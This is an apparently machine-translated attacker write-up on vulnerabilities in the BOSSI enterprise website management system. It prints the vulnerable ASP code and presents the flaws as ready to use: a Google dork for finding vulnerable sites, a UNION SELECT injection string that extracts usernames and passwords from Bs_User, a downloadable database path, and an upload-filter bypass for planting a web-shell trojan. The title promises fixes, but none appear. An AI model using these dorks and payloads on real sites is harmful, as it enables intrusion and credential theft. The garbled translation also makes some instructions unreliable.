BOSSI (enterprise) website management system discovers multiple vulnerabilities and fixes

Vulnerability 1: injection vulnerability,

Vulnerability page: NewsInfo. asp,

Vulnerability code: if not isEmpty (request. QueryString ("id") then
Id = request. QueryString ("id ")
Else
Id = 1
End if

Set rs = Server. CreateObject ("ADODB. Recordset ")
Rs. Open "Select * From Conews where id =" & id, conn, 3,3
Record visits
Rs ("counter") = rs ("counter") + 1
Rs. update
NCounter = rs ("counter ")

The id variable is not processed and directly substituted into the SQL query. It can be injected. Just use the "D" command.

Page 2: yeNewsInfo. asp

Vulnerability code: <%
If not isEmpty (request. QueryString ("id") then
Id = request. QueryString ("id ")
Else
Id = 1
End if

Set rs = Server. CreateObject ("ADODB. Recordset ")
Rs. Open "Select * From Yenews where id =" & id, conn, 3,3
Record visits
Rs ("counter") = rs ("counter") + 1
Rs. update
NCounter = rs ("counter ")
Definition content
Content = ubbcode (rs ("content "))
%>

The principle is the same as above and can be injected.

Vulnerability 2: database download Vulnerability

Database address: Database/DataShop. mdb

You can download the table as needed!

Vulnerability 3: Upload Vulnerability

Vulnerability page: upfile. asp, upfilea. asp

Problem code: fileExt = lcase (file. FileExt)
Forumupload = split (UpFileType, "| ")
For I = 0 to ubound (Forumupload)
If fileEXT = trim (Forumupload (I) then
EnableUpload = true
Exit
End if
Next
If fileEXT = "asp" or fileEXT = "asa" or fileEXT = "aspx" then
EnableUpload = false
End if
If EnableUpload = false then
Msg = "this file type cannot be uploaded! Only the following file types can be uploaded: "& UpFileType
Founderr = true
End if

Like the excellent upload vulnerability, I don't know who copied the code! Register a user, upload a php Trojan locally or add spaces to filter and upload the asp Trojan. I will not talk about the specific method. I mentioned it in the article on liangjing enterprise website management program! No more details!

Vulnerability exploitation: injection, Google: inurl: yeNewsInfo. asp? Id

Injection statement: % 20and % 201 = 2% 20 union % 20 select % 201, username, 3, 4, password % 20 from % 20Bs_User

 

Or, D: You need to manually add the table segment Bs_User.

Database vulnerability exploitation:

Excavator: Keyword: inurl: yeNewsInfo. asp? Id

Suffix: Database/DataShop. mdb

I will not demonstrate the use of the Upload Vulnerability. For details, refer to the article on how to analyze the website management system vulnerabilities of liangjing enterprise.

Oh, it's over. It's exhausted ~